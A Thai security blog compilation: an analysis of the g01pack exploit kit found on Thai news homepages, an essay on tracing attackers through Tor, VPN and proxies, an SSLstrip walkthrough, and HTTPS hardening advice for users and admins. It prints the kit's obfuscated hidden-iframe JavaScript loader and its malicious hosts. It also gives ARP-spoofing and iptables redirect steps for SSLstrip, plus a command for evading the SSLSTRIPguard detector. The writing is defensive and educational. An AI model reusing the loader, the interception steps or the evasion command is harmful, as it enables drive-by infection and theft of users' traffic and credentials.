จากภาพด้านล่าง ผมพบหน้าจอจาก Homepage ของนสพ.ฉบับหนึ่งในวันที่ 12 มิถุนายน 2556

ในวันถัดมาวันที่ 13 มิถุนายน 2556 พบว่า website แห่งเดิมไม่พบปัญหา แต่พบปัญหากับ Homepage ของนสพ.อีกฉบับและสำนักข่าวอีกแห่งหนึ่งแทน

เราจึงค้นหาคำตอบด้วยการใช้ Service ที่ทำการตรวสอบ web-based malware ที่ชื่อ urlquery.net ซึ่งเป็น Service ที่ให้บริการฟรีครับ(กรณีทำ Bulk query แบบปริมาณมากๆอาจจะช้านิดหน่อย คิดว่าอีกไม่นานจะมี API ออกมาให้เรียกใช้งานได้ง่ายขึ้นครับ ไม่ต้องไปเขียน script เพื่อไปทำ Bulk query เอง) ผลของ urlquery ทำให้เราตกใจเป็นอย่างยิ่งเนื่องจากพบ Exploitation Kit* ที่ชื่อ g01pack

* Note:
1. ทำความเข้าใจกับ Exploitation kit ได้ที่บทความ Malware Fighting Technique — DNS Sinkhole
2. พวก Cyber crime (ซึ่งทุกวันนี้มันกลายเป็นขบวนการใหญ่ของโลก–Organised Cyber Crime–ไปแล้ว แก๊งค์พวกนี้มีการเคลื่อนไหวอยู่ในประเทศไทยด้วย–ที่เราเห็นตามข่าวบ่อยๆเรื่องการโจมตี Internet Banking ของธนาคารต่างๆนั่นแหละครับ) มี Crime-as-a-Service ที่บริการการก่ออาชญากรรมทุกรูปแบบ ข้อมูลเพิ่มเติมสามารถดูได้จาก Cybercriminals Today Mirror Legitimate Business Processes ของ Fortinet

เราเองใช้เวลาตามหา Active Exploitation Kit ที่วางโจมตีใน website ภายในประเทศสักพักแล้วครับ แต่ทุกๆครั้งที่หาเจอ Page ที่เป็น Exploit kit ก็หายไปบ้าง, invalid domain name บ้าง เราเจ็บใจพอสมควรเนื่องจากแก๊งค์พวกนี้ขโมยเงินในประเทศของเราออกไปเยอะทีเดียว แต่วันนี้พวกเค้าทำการ Plant exploitation kit บน page หนังสือพิมพ์ครับและพร้อมๆกับมีข่าวเรื่อง Banking Trojan ที่โจมตีอีกระลอก(ลองไปดูที่ http://pantip.com/topic/30599799 และการแจ้งเตือนบนหน้า Internet Banking ของแต่ละธนาคาร)

ครั้งนี้เราได้พบกับ Exploitation Code ที่ Active ตัวจริงแล้วครับ เรามาวิเคราะห์ g01pack แบบง่ายๆกันดีกว่า

Analysis

เริ่มแรกเลยก็ให้สังเกตว่ามีการแทรก javascript ประหลาดๆในหน้า Homepage ของนสพ.แห่งนั้น

ให้เรานำตัวเลขดังกล่าวมาประกอบกัน จากนั้นก็ Decode ด้วย function ของมันเอง ใครงงลองไปดู Decoder ที่เราดัดแปลงจาก Script ดังกล่าวได้ที่ http://pastebin.com/KWPfz3mF ถ้าหากเราพยายามอ่าน Soucecode ของมัน(ที่ชื่อประหลาดๆ ดูเละๆนั่นแหละครับ**)จะพบว่ามันพยายามทำการสร้าง iframe ขนาด 1×1 แบบ hidden และ src ของมันถูก encode เอาไว้ซึ่งเปลี่ยนแปลงได้ตลอด(สาเหตุที่ตามหายาก) หลังจาก Decode ก็จะพบว่ามันมีการเรียกไปที่

Note:
** code ที่ดูประหลาดๆแบบนี้จงใจทำขึ้นเพื่อหลีกเลี่ยงการตรวจจับ และป้องกันไม่ให้ใครไปทำความเข้าใจการทำงานของมันง่ายๆครับ กระบวนการแบบนี้ทางเทคนิคเรียกว่า code ถูก obfuscated

Response จะเป็น obfuscated javascript ที่เป็น Landing Page อีกต่อหนึ่ง
(function(){var fYN=document,K={'i':'rame'},NNC,E;function GG(L,Y){return L.src=Y;}function D(m){m+='58,41,43,51,-10,56,48,56,7,41,44,62,45,58,60,5,-3,-3';m=m.split(',');t='';for(i=0;i<m.length-1;i++){n=parseInt(m[0]);n+=parseInt(m[i+1]);t+=String.fromCharCode(n);}return t;}if(/(Windows)/.test(navigator.userAgent)&&/(MSIE)/.test(navigator.userAgent)){try{NNC='56,48,60,60,56,2,-9,-9,43,66,64,43,64,66,-10,60,55,56,49,43,41,52,59,';E=md();TT=D(NNC);GG(E,TT);}catch(e){};}function l(){return 'if'+K.i;}function md(){var tt=document.createElement(l());tt.width='1px';NNC+='49,53,61,52,41,60,49,55,54,59,-10,54,45,60,-9,43,56,41,54,45,52,39,46,49,52,45,-9,43,';tt.height='1px';tt.style['visibility']='hidden';try{fYN['body']['appendChild'](tt);}catch(P){try{document.write('');document.body.appendChild(tt);}catch(uWin){}}return tt;}})();

ถ้าทำการ decode จะพบว่ามันมีการเรียกไปที่

ซึ่งจะพบหน้าจอตามรูปด้านล่าง

ข้อความที่ปรากฎเป็นบทที่คัดมาจากเรื่อง Hamlet ของ William Shakespeare แต่มีข้อความแปลกๆด้านบนแทรกเข้ามา และมีบางบรรทัดของที่หายไป(ตอนนี้เรายังไม่เข้าใจว่ามันหมายถึงอะไรเช่นกัน)

นอกเหนือจากนั้นยังพบว่ามีการแทรก applet แถมมาให้อีกด้วย ลองดู applet นั้นได้ที่ http://pastebin.com/q52Pi7Kx
หากลองดูให้ดี จะเห็น pattern ซ้ำๆจริงมั้ยครับ??

หลังจากที่ applet ทำงานมันจะพยายาม break security policy ดูที่ sourcecode

โดยอาศัยช่องโหว่ CVE-2012-1723 ที่ทำการโจมตี Java

อีกทั้งยังทำงานเป็นตัว Loader ที่พยายามทำการ download payload ต่างๆ เช่น banking trojan หรือ malware ประเภทอื่นๆมา deploy เพิ่มเติม

เราทำการทดสอบ applet ตัวนี้กับ virustotal และพบว่า Evasion ของมันไม่ธรรมดาครับ ผลของมันคือ Detection ratio: 3/47 ซึ่งถือว่าหลบหลีกได้ดีมาก

การแพร่ Exploitation Kit ผ่าน website ข่าวที่มีคนเข้าไปดูเป็นจำนวนมาก เป็นสิ่งที่น่าเป็นห่วงอย่างยิ่ง เราลองสังเกตพบว่าส่วนใหญ่มาจาก ads ที่อยู่ตาม website ต่างๆมันคอยซ่อนตัว รอโอกาสโจมตี พอเราจะเข้าไปตรวจสอบมันก็หายไป อีกทั้งยังมีการปิด-เปิด-เปลี่ยน domain name บ่อยมาก

สำหรับผู้ใช้งานทั่วไป

0.อ่านบทความของ Thaicert
1. สำหรับการใช้งานทั่วไป ส่วนใหญ่ java plugin ไม่จำเป็นต้องใช้งานอยู่แล้ว แนะนำว่าปิดการทำงานของ java ไปเลยดีกว่าครับ เพราะช่วงนี้เสี่ยง
2. ลองดูว่าเครื่องของเรามี patch อะไรที่ต้อง update บ้าง โดยสามารถใช้บริการจากที่นี่ได้เลยครับ Rapid7 Browser Scan ฟรี

สำหรับผู้ดูแลระบบและผู้สนใจ

0.อ่านบทความของ Thaicert
1. ลอง review logs โดยด่วนว่ามี users คนไหนที่ไป visit website ดังกล่าวบ้าง ซึ่งให้ดูจาก Firewall logs ก็พอครับ เพราะ resolve ไปที่

IP: 195.3.147.229 ใน Latvia
czxcxz.topicalsimulations.net
zxcasdw.gamesdropboxs.biz
zzzaaa.megabytessimilarity.net

ทั้ง 3 domain name ถูก registered วันที่ 10,11 และ 12 มิถุนายนที่ผ่านมาสดๆร้อนๆเลย
2. ใช้ Window Sysinternals กับเครื่องที่สงสัยว่าจะถูกโจมตี โดยให้เปิด Browser ขึ้นมาก่อน อีกวิธีคือให้ดู Hook ของ Process ของ Browser ด้วย ถ้าพบว่า function ที่สำคัญถูก Hook เช่นนี้เครื่องนั้นถูกโจมตีแน่นอน

3. อ่านบทความเรื่อง Multi-Stage Exploit Attacks for More Effective Malware Delivery ของ Trusteer

ขอให้ทุกคนปลอดภัย Stay safe!!

ถ้าหากเรา Classify ประเภทของ Hackers ด้วย Skills ใน Term ของ Anonymity หรือพูดง่ายๆก็คือ Hacker คนนั้นคำนึงถึงเรื่อง Anonymity ของตัวเองมากน้อยแค่ไหน เราจะขอแบ่งง่ายๆออกเป็น 2 ประเภทคือ 1. พวกที่ไม่แคร์เรื่อง anonymity กับ 2. พวกที่ระมัดระวังตัว ซึ่งการ Trace back ไปหา Hackers ทั้ง 2 ประเภทมีความยากง่ายแตกต่างกัน

1. การ Trace back เพื่อตามหา Attacker ที่ไม่แคร์เรื่อง anonymity

การตามล่ากลุ่มที่ 1 นั้น ทางเราคิดว่าเป็นเรื่องไม่ยากสำหรับเจ้าหน้าที่ตำรวจ/เจ้าพนักงาน ส่วนคนที่ทำงานในสายงาน IT น่าจะเดาได้ไม่ยากว่าจะต้องทำอย่างไร ซึ่งเราขออธิบายโดยย่อก็แล้วกันนะครับ เนื่องจากกระบวนการของ Computer Forensics มีรายละเอียดและเทคนิคอยู่มาก บทความนี้จึงขอมุ่งไปที่ประเด็นหลัก ประเด็นเดียวเลยนั่นก็คือหลักฐาน IP Address ผ่านการเก็บรวบรวมหลักฐาน(Evidence Collection) จาก Multiple sources เช่นอุปกรณ์ network พวก Router, Switch, Firewall, Load balance, Network Gateway เช่น Proxy รวมทั้งหลักฐานจากเครื่องคอมพิวเตอร์ที่ถูกโจมตีซึ่งควรจะครอบคลุมจากทั้ง 3 tier(Web,App,DB) หลังจากนั้นก็จะมาทำกระบวนการที่เรียกว่า Correlation เพื่อวิเคราะห์ความสัมพันธ์จากแหล่งข้อมูลดังกล่าว เพื่อที่จะสร้าง Timeline of activities (หากระบบมีปัญหาเรื่อง Time Synchronisation ก็จะพบกับความยุ่งยากในการ Trace back)

หลังจากเราได้ Timeline of activities แล้วเราจะ Focus ไปที่ Event หรือ Anomaly activities ที่เราสนใจ หรือ Timeframe ที่คาดว่าน่าจะเกิดเหตุการณ์ขึ้น ซึ่งหากดำเนินการมาถึงขั้นตอนนี้แล้วการตามหาเจ้าของ IP address ที่มาทำการโจมตีก็ไม่ได้เป็นเรื่องยากอะไรในทางกฎหมาย ยกเว้นแต่ว่า Attacker อยู่ในประเทศที่อำนาจในทางกฎหมายไม่สามารถบังคับใช้ได้

2. การ Trace back เพื่อตามหา Attacker ที่ระมัดระวังตัว

คนกลุ่มนี้รู้วิธีการปิดบังตัวเองอยู่แล้วไม่ว่าจะเป็นการใช้ Tor, VPN หรือ Proxy ในการ Impersonation เพื่อปิดบัง Source IP ที่แท้จริงของตัวเอง การ Trace back จึงยากขึ้นกว่าเดิม อาจจะล้มเหลวหรือหาเจอก็ได้ ขออธิบายเพิ่มเติมดังนี้

2.1 Tor Network : เป็นเครือข่าย virtual tunnel ที่มีจุดประสงค์เพื่อ Privacy และ Security เป็นหลัก User ที่ใช้งานผ่าน Tor Network จะปลอดภัยจากการถูก Trace ไปที่ IP ที่กำลังใช้งานอยู่จริงๆ ซึ่งหาก IP ที่ Trace ได้เป็น IP ที่มาจาก Tor Network หรือในทางเทคนิคเราเรียกว่า Tor Exit Nodes การตามหาก็จะยากขึ้น

จากในภาพ Tor Network จะสร้าง Path จาก Src ไปหา Dst เป็น Random Path เสมอ และ Traffic ที่วิ่งใน Path จะผ่านการ Encryption ด้วย แต่ละ Hop จะรู้เพียงว่ามาจาก node ไหนและต้องส่งไปที่ node ไหนเท่านั้น ซึ่งในทางปฏิบัติแล้ว การ Trace back นั้นมีความยุ่งยากแต่เป็นไปได้ โดยถ้ามีการ Implement Bad Exit Node เพื่อดักจับข้อมูลและ Trace back กลับทีละ Hop จนถึง Source IP ก็จะทำได้แต่เราคิดว่ายากครับ ถ้าไม่มี Infrastructure ที่จะเข้าไป Investigate บน Exit nodes หรือพูดง่ายๆคือมีไม่มี Power ที่จะไปตั้ง Exit nodes ปริมาณมากพอที่จะไปใช้ในการวิเคราะห์ได้นั่นเอง

หลายๆคนอาจจะคิดว่ายากที่จะตามหา แต่จริงๆแล้ว Tor มีข้อจำกัดบางอย่างคือต้องทำงานกับ TCP และ Application ที่ใช้ต้อง support การ routing ด้วย SOCKS ได้ ดังนั้นไม่ใช่ทุก Packets จะผ่าน Tor ได้ Traffic ที่มีนัยสำคัญพวก DNS Resolving อาจจะเปิดเผย Source IP ที่แท้จริงของ Attacker คนนั้นได้ ขึ้นอยู่กับว่าการเก็บ traffic logs มีความสมบูรณ์มากน้อยเพียงใด

2.2 VPN: การใช้งาน VPN มีจุดประสงค์เพื่อนำ Protocol หรือ insecure traffic ไปวิ่งอยู่บน Tunnel ที่มีความปลอดภัยสูงกว่า การที่ Attacker ใช้ VPN Service เพื่อไปโจมตีระบบเป้าหมาย ก็จะพบว่า traffic logs ที่เกิดขึ้นมาจาก VPN Server ที่กำลังให้บริการอยู่ ณ ขณะนั้น ซึ่งการตามหา Attacker นั้นไม่ยากครับ เพราะทั้ง ISP และ VPN Service Provider มี traffic logs การใช้งานอยู่

VPN Service ของ Astrill

หากถามว่าจะตามหา Attacker ได้มั้ย ถ้าใช้งานผ่าน VPN Service Provider ข้ามประเทศที่มีความแตกต่างด้าน Politics, Economy หรือ Religion คำตอบคือเป็นไปได้ และทำได้ครับ ทุกวันนี้มีหน่วยงานที่ทำงานด้าน Cyber Security ที่ทำงานแบบ Cross Country กันอยู่เช่นระหว่าง US และ Russia ก็มี Joint Statement ที่ระบุถึงการทำงานต่อต้าน cyber threats หรือ non profit organisation ที่ชื่อ IMPACT( International Multilateral Partnership Against Cyber Threats) ซึ่งมี CERT จากกว่า 145 ประเทศร่วมมือกัน

2.3 Proxy : การโจมตีผ่านบริการ Proxy เป็นการโจมตีผ่านจุดให้บริการ Proxy ซึ่งการ Trace back มีความเป็นไปได้ครับ ถ้าหาก Proxy มีการเก็บ Logs แต่ถ้ามีการใช้งานผ่าน Proxy หลายๆจุด การ Trace back ก็จะยุ่งยากมากยิ่งขึ้น (การใช้งาน Proxy นั้นก็ไม่ได้มีความซับซ้อนแต่อย่างใด ทุกคนสามารถเข้าถึงแหล่งข้อมูล Free Proxy ได้อย่างง่ายๆ)

*** ยังมีอีกหลายวิธีที่จะสร้าง Anonymity ได้ และยังมีกลุ่ม Attacker อีกหลายๆรูปแบบ แต่ขออนุญาตอธิบายเพียงแค่นี้นะครับ เนื่องด้วยข้อจำกัดด้านปริมาณของเนื้อหา และไม่อยากที่จะชี้ช่องอะไรที่คนอื่นอาจจะไปใช้ในทางที่ไม่ดีได้ หลายๆครั้งที่เราได้รับคำถามเรื่องจะ Hack ระบบโน้น ระบบนี้อย่างไร บ่อยมาก เราเป็นห่วงประเทศนี้ครับ และเราก็มีอุดมการณ์แน่ชัดอยู่แล้วว่า We secure the nation ใช้ความรู้ความสามารถอย่างมีคุณธรรมเท่านั้น เราไม่ทราบเหมือนกันว่าคนที่ปลูกฝังความรู้ด้าน Information Security ของคุณเป็นใคร แต่อยากให้ทุกคนคิดว่าการก้าวไปสู่คำว่า Professional คำว่า Etiquette(จรรยาบรรณ) และ Ethics(จริยธรรม) นั้นสำคัญ หากจะเรียนรู้เพื่อมา Hack คนอื่นที่มีความรู้น้อยกว่าเรา อย่าเรียนดีกว่าครับ

อ่านมาถึงบรรทัดนี้แล้ว ผู้อ่านมีความเชื่อเพิ่มขึ้นบ้างหรือไม่ครับว่า ยังไงก็แล้วแต่ Attacker ก็มี Footprint ให้ตามรอยอยู่ดี ยิ่งถ้า Security หรือ System Administrator มีความเชี่ยวชาญในการ Deploy Protection บางอย่างยังไงพวก Attacker หรือ Hacker ก็จะทิ้งร่องรอยให้ตามหาครับ

หลังจากที่ตามหา IP Address ต้นตอได้เรียบร้อยแล้ว ในการบังคับคดีหลักฐานที่มียังอาจจะยังมีน้ำหนักไม่เพียงพอก็เป็นได้ครับเช่น Attacker อาจจะอ้างว่าเครื่องของเค้าถูก Malware เล่นงานหรือถูกคนอื่นโจมตี ซึ่งเจ้าพนักงานต้องขอเก็บหลักฐานด้วย Computer Forensics Process ต่อจากเครื่องผู้ต้องสงสัยเพื่อหา Circumstantial Evidence เพื่อหาหลักฐานว่ามี file หรือ content อะไรน่าสงสัยบ้าง มาสนับสนุนกับหลักฐานอื่นที่หาได้จากกระบวนการสืบสวน-สอบสวนเช่นผู้ต้องสงสัยมีกิจกรรมอะไรบ้าง มีความสามารถด้านไหน มี Motivation อะไร มีเอกสารอะไรเกี่ยวข้องหรือไม่ ละแวกนั้นมี Internet Entry Points อย่างไร มีใครอาศัยอยู่ในละแวกใกล้เคียงที่น่าสงสัยบ้างและประเด็นอื่นๆที่สามารถหาข้อมูลได้ หลังจากรวบรวมหลักฐานมาประกอบกัน หลักฐานที่มีทั้งหมดก็จะต้อง Support กับ Assumption จาก IP ที่หามาได้ จึงจะมีน้ำหนักพอเพื่อดำเนินทางกระบวนการยุติธรรม และการบังคับคดีต่อไป

ถ้าผู้ต้องสงสัยมีการใช้ Full Disk Encryption ประกอบกับ Password ที่ Crack ไม่ได้แล้วอ้างว่าลืม ศาลอาจจะไม่เชื่อก็ได้ แต่จริงๆก็มีวิธีการจัดประเด็นนี้อยู่ตามรูปด้านบน(Joke น่ะครับ)

จากภาพข่าว Hacker ระดับ Anonymous ยังถูกจับเลย

สำหรับผู้ดูแลระบบ

ควรจะป้องกันระบบของตัวเองให้ดี มีการเก็บ logs ให้พร้อม, set firewall rules ป้องกัน network access จาก anonymity network อย่างสม่ำเสมอ และปรับปรุง Security ให้ครบทุก Layer ตั้งแต่ network,system,application,data และ human

“My name is Sherlock Holmes. It is my business to know what other people don’t know.” — Sherlock Holmes Quote – The Adventure of the Blue Carbuncle

เรามีความเชื่ออย่างหนึ่งครับว่ายังไงก็แล้วแต่เราจะตามหา Attacker ได้เสมอและไม่มีระบบที่ไม่มีวันถูก Hack ได้เช่นกัน

ติดตามพวกเรากันไปเรื่อยๆนะครับ เรามี Project ชั้นยอดที่กำลังคิดและรอการสนับสนุนอยู่ หากว่าได้รับการสนับสนุนเมื่อไร Project ที่เราจะทำขึ้นจะมาเป็น Advanced & Intelligent Protection ที่เพิ่มเติมไปจาก Traditional Protection ที่เราเคยรู้จักกันมาอย่างแน่นอน

Stay safe!!!

ทำไมต้อง SSLstrip

โดยปกติการทำ Man-in-the-middle กับ Encrypted Traffic (HTTPS) นั้น Attacker จะติดปัญหาคือไม่สามารถ Decrypt Data ได้ ทำให้ไม่สามารถอ่านข้อมูลได้นั่นเอง หากต้องการจะอ่านข้อมูลก็มักจะใช้วิธีการทำ SSLsniff ซึ่งวิธีจะเป็นการ Decrypt HTTPS Traffic ระหว่างทางโดยการสร้าง SSL Tunnel 2 อัน เพื่อคุยระหว่างกับ User กับ Attacker และระหว่าง Attacker กับ Server

SSLsniff

ซึ่งวิธีการทำ SSLsniff นี้มักจะเป็นปัญหาเนื่องจาก Certificate ที่ใช้ระหว่างเครื่อง User และ Attacker จะไม่ถูก Trust โดย Web Browser ทำให้ขึ้นหน้า Certificate Error ที่ฝั่ง User (Client) ดังนั้น User ที่มี Awareness ดีหน่อยก็อาจจะรอดพ้นจากวิธีการทำ SSLsniff ได้ [รายละเอียดการ Trust กันของ PKI อ่านได้จาก HTTPS Insecurity Part 1] ทำให้โอกาสประสบความสำเร็จของ Attacker นั้นลดลง แต่หากใช้ SSLstrip ปัญหา Certificate Error จะหมดไปทันที

SSLstrip ทำงานอย่างไร

SSLstrip ทำงานบนสมมติฐานว่าโดยปกติ User ไม่ได้เข้า Website ที่เป็น HTTPS โดยตรงแต่มักจะถูก Redirect ให้เข้า ตัวอย่างเช่น เราพิมพ์ URL http://www.twitter.com จะโดน Server จะทำการ Redirect ให้เราไปที่ https://www.twitter.com แทน

Trick ของ SSLstrip คือการโจมตีไปที่ HTTP (ข้อมูลจะไม่ถูกเข้ารหัส) แทนที่จะโจมตี HTTPS ซึ่งทำโดยวิธีการใช้ Man-in-the-middle บวกกับการบังคับไม่ให้ User คุยกับ Server ผ่าน HTTPS แต่จะเป็นการคุยโดย

1. เครื่อง Attacker คุย HTTPS กับ Server
2. เครื่อง User (Client) คุย HTTP กับ Attacker

ขั้นตอนการใช้งาน SSLstrip

ขั้นตอนที่ 1 (เหมือนกับการทำ Man-in-the-middle ทั่วไป)

• ตั้ง Forward Packet
• ทำ ARP Spoofing เพื่อ Redirect ข้อมูลจากเครื่อง User มาที่ Attacker

ขั้นตอนที่ 2

• ทำ Routing traffic เพื่อให้ข้อมูลวิ่งเข้าที่ port ของ SSLStrip ที่เปิดไว้ ตัวอย่างบนเวปทั่วไปจะใช้คำสั่ง
  “iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port <listenPort>”
• Run SSLStrip

แค่เพียงเท่านี้ Attacker จะสามารถดัก Traffic ของ User ได้ทั้งหมดทันที

วิธีการป้องกัน SSLstrip

1. Implement HTTP Strict Transport Security (HSTS) ที่ฝั่ง Server ซึ่งเป็นวิธีการบังคับให้ Web Browser คุยผ่าน HTTPS เท่านั้น แต่การทำด้วยเทคนิคนี้จะยากมากเพราะว่า Developer แต่ละ Web จะต้องมีความรู้ความเข้าใจในการทำให้ Web ตัวเองปลอดภัย
2. User จะต้องมี Awareness มากขึ้น

เอ๊ะ!!

อ่านถึงตรงนี้หลายๆคนคงอาจสงสัยว่า Mobile Application ที่นิยมใช้ในตลาดบ้านเราที่เรียกว่า SSLSTRIPguard นั้นทาง Incognito Lab ไม่รู้จักเหรอ เพราะ Application นี้มักมีการพูดถึงในงาน Security Conference ของเมืองไทยเป็นประจำ แม้ว่าจะผ่านมาหลายปีแล้วก็ตาม (จะไม่ขอพูดถึงว่า Security Conference นั้นชื่ออะไรและจัดโดยบริษัทไหนนะครับ แต่เชื่อว่าทุกท่านคงทราบดี ^_^)

SSLSTRIPguard เป็น Application บน Smart Phone ที่ “Claim” ว่าสามารถช่วยให้สามารถทราบได้ว่าเรากำลังถูกโจมตี SSLstrip อยู่หรือไม่ ซึ่งจากการลองใช้แล้วพบประเด็นที่น่าสนใจพอสมควรครับ

ประเด็นที่ 1: Marketing Strategy ???

SSLStripGuard นี้ทำหน้าที่แค่เรียก Web page อยู่ 1 URL หลักๆนั่นคือ “http://guarded-wave-5813.herokuapp.com/StripGuard/acis2.html” ซึ่งจากการลองใช้พบว่าสามารถทำงานได้บนอุปกรณ์อื่นๆ ไม่ว่าจะเป็น PC หรือ Laptop

แต่ Application นี้กลับถูก Promote ว่าเป็น Smart Phone Application ซึ่งแน่นอนคงหนีไม่พ้นเรื่องการทำ Marketing แหละ เพราะอย่างน้อยการทำ Mobile Application ก็ช่วยสร้างภาพลักษณ์ได้ดี และสามารถใส่โฆษณาต่างๆเข้าไปได้ด้วย แต่เพราะการทำ Marketing แบบนี้เลยทำให้สังคมไม่ได้รับประโยชน์อย่างเต็มที่

ทาง Incognito Lab เราไม่อยากให้วงการ Security บ้านเราทำเพื่อผลประโยชน์อย่างเดียวครับ แต่เราอยากทำให้วงการ Security ในเมืองไทยนั้นสนุกและได้ประโยชน์ให้สมกับวลีเด็ดของ Paul Asadoorian และ John Strand ที่ว่า “Bring Sexy Back” ให้สมกับ mission ของเรา “We secure the nation”

ประเด็นที่ 2: Reliability ???

Result ของ SSLSTRIPguard นั้นน่าเชื่อถือแค่ไหน จะเป็นอย่างไรหาก SSLSTRIPGuard บอกว่า User ไม่ได้โดน SSLstrip แต่ที่จริงแล้วกำลังโดนอยู่??

การทำงานของ SSLSTRIPguard นั้นคือการตรวจสอบว่า Traffic ของ HTTPS request ที่เรียกไปที่ guarded-wave-5813.herokuapp.com ถูก Strip ออกหรือไม่ ซึ่งหากมีการทำ Routing Traffic ของ guarded-wave-5813.herokuapp.com เข้าไปที่ port ของ SSLstrip (ดูขั้นตอนที่ 2 ในการทำ SSLstrip ด้านบน) ก็จะถูกตรวจสอบได้ทันที หากเป็น Attacker ทั่วๆไปมักจะ copy&paste command ในการทำ SSLstrip ตาม Website ต่างๆบน Internet ซึ่งจะใช้คำสั่ง “iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port <listenPort>” เพื่อ Route ทุก Traffic ที่เป็น HTTP เข้าไปที่ port ของ SSLStrip ซึ่งแน่นอนว่า SSLSTRIPguard จะสามารถตรวจสอบได้

ดังนั้น

การ Bypass SSLSTRIPguard นั้นทำได้ง่ายมาก เพียงแค่ไม่ต้อง Route Traffic ของ guarded-wave-5813.herokuapp.com เข้า SSLstrip ก็พอแล้ว

ในขั้นตอนที่ 2 ก่อนที่จะ Routing ทุก Traffic ไปที่ SSLstrip ใช้คำสั่ง
“iptables -t nat -A PREROUTING -p tcp -d guarded-wave-5813.herokuapp.com –destination-port 80 -j REDIRECT –to-port <non SSLstrip port>”
เพื่อ Route Traffic ของ SSLSTRIPguard ไปที่ port อื่นที่ไม่ใช่ของ SSLSTRIP

จากนั้นเมื่อลองเข้าใช้งาน SSLSTRIPguard ผ่าน ”http://guarded-wave-5813.herokuapp.com/StripGuard/acis2.html” จะพบว่าเราไม่ได้ถูก Strip อยู่ แต่หากลองเข้า http://www.twitter.com จะพบว่า Twitter ก็ไม่ได้ถูก Redirect ไปที่ https://www.twitter.com และ Traffic ทั้งหมดจะถูก Capture ไว้โดย Attacker

ปล. หวังว่าทุกคนที่ได้อ่านบทความนี้จะมี Awareness เพิ่มขึ้นนะครับ เราควรจะป้องกันที่ตัวเราเองเป็นลำดับแรก ไม่ใช่ไปหวังพึ่ง Tool ต่างๆอย่างเดียว
Ref: http://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf

HTTPS นั้นปลอดภัยกว่า HTTP แน่นอน แต่ปัญหาส่วนใหญ่ของ HTTPS นั้นอยู่ที่ Implementer และ User

Part 3 เป็นตอนสุดท้ายสำหรับเรื่องนี้แล้วนะครับ ในตอนนี้จะเน้นการป้องกันที่ฝั่ง User และ Admin

เริ่มที่ User (ผู้ใช้งานทั่วไป) จะต้องทำอะไรบ้าง

• Update Patch เป็นประจำ เพราะว่าใน Patch นั้นจะมีเรื่องการ update Trusted Certificate List อยู่ด้วย วิธีการดู Certificate List ของ Internet Explorer และ Firefox 

Firefox Certificate List

• Update Antivirus Signature เป็นประจำ เพื่อช่วยป้องกัน Malware ทั้งหลายที่อาจใช้เทคนิคในการแก้ host file ที่เครื่องของเหยื่อเพื่อ redirect ไปหน้า Web ของผู้ร้าย
• ลอง Scan จาก https://browserscan.rapid7.com/scanme เพื่อดูว่า Browser ที่เราใช้งานมี Plugin ที่มีช่องโหว่หรือไม่ ถ้ามีก็ควรจะ update
• Update Web Browser เป็นประจำ เพราะถ้าไม่ใช้ Internet Explorer การ Update Patch ก็ไม่ได้ช่วยอะไร เนื่องจาก List ของ Trusted Certificate นั้นแยกกัน
• ตรวจสอบให้แน่ใจว่ามีการ Enable การเปิดใช้งาน Protocol OCSP หรือมีการ Check CRL อยู่ ซึ่งโดยส่วนใหญ่จะมีการ Enable โดย Default อยู่แล้ว
  • สำหรับ Internet Explorer ตรวจสอบได้จาก Tools > Internet Options > Advanced โดยจะต้องมีเครื่องหมายถูก หน้า Check for publisher’s certificate revocation และ Check for server certificate revocation

• สำหรับ Firefox ตรวจสอบได้จาก Preferences > Advanced > Encryption > Validation

• ตรวจสอบเป็นประจำที่ Web Browser ว่ามี Certificate อะไรแปลกปลอมเข้ามา Install ในเครื่องเราหรือไม่ หากมี Certificate ที่น่าสงสัยอยู่ใน Trusted List ก็สามารถ Remove ได้เลย
• นอกจากเครื่อง PC/Laptop แล้วพวก Mobile Device จะต้องตรวจสอบเหมือนกันว่ามี Certificate อะไรแอบมาอยู่ในเครื่องเราบ้าง ถ้าเป็นอุปกรณ์ IOS มักจะมาอยู่ในรูปแบบของ Profile ที่ Install ที่เครื่อง

สำหรับ Admin ทั้งหลาย ไม่ว่าจะเป็น Web Server Admin หรือ Admin ที่ทำหน้าที่ Client Management ใน Enterprise ใหญ่ๆ นะครับ

Web Server Admin

• การทำ Key Management ควรจะมีการใช้ Complex Password เพื่อป้องกันการเข้าถึง Key โดยเฉพาะเมื่อมีการ Export Key ออกมา เพื่อที่จะนำไปลงที่เครื่อง Redundant หรือ Backup
• Removable Media ทั้งหลายที่มีการใช้ระหว่างการ Transfer Key เมื่อใช้งานเสร็จเรียบร้อยแล้วควรจะใช้พวก Secured Delete Tool ลบข้อมูล เพื่อป้องกันการ Recover Key ขึ้นมาได้
• อย่าใช้ Certificate ที่มีอายุนานเกินไป เพราะถ้าถูก Compromised แล้วไม่รู้ตัว จะไม่มีอะไรช่วย Limit ความเสี่ยง
• ในระดับ Web Server นั้นสามารถเลือกตั้งให้ Cipher Suite ที่มีความปลอดภัยสูงได้ เพื่อป้องกันการ Decrypt SSL channel ซึ่งการตรวจสอบว่าปัจจุบัน Web Server เรานั้นตั้ง Cipher Suite ไว้ดีหรือไม่ดี ถ้า Web Server สามารถเข้าจาก Internet ได้แนะนำให้ใช้ Service จาก Qualys ได้ที่ https://www.ssllabs.com/ssltest/ หรือหากเป็นเครื่องที่อยู่ใน Internal network สามารถใช้ SSLScan เพื่อตรวจสอบได้

SSL Labs

Client Management Admin

• Patch Management มักจะมีการแบ่งรอบการทำเป็น Monthly หรือ Quarterly ซึ่งสาเหตุหลักมักเกิดจาก การรอทำ Test ต่างๆว่า Patch จะไม่มีผลอะไรกับ Application ในองค์กร ซึ่งสำหรับ Patch ที่ทำหน้าที่ Update Certificate นั้น ผลกระทบ (Impact) ต่อการใช้งานค่อนข้างต่ำมาก แต่มีผลต่อเรื่องความปลอดภัยสูงมาก อาจจะพิจารณารอบการลง Patch เป็นพิเศษ หากมี Patch ที่เกี่ยวกับ Certificate

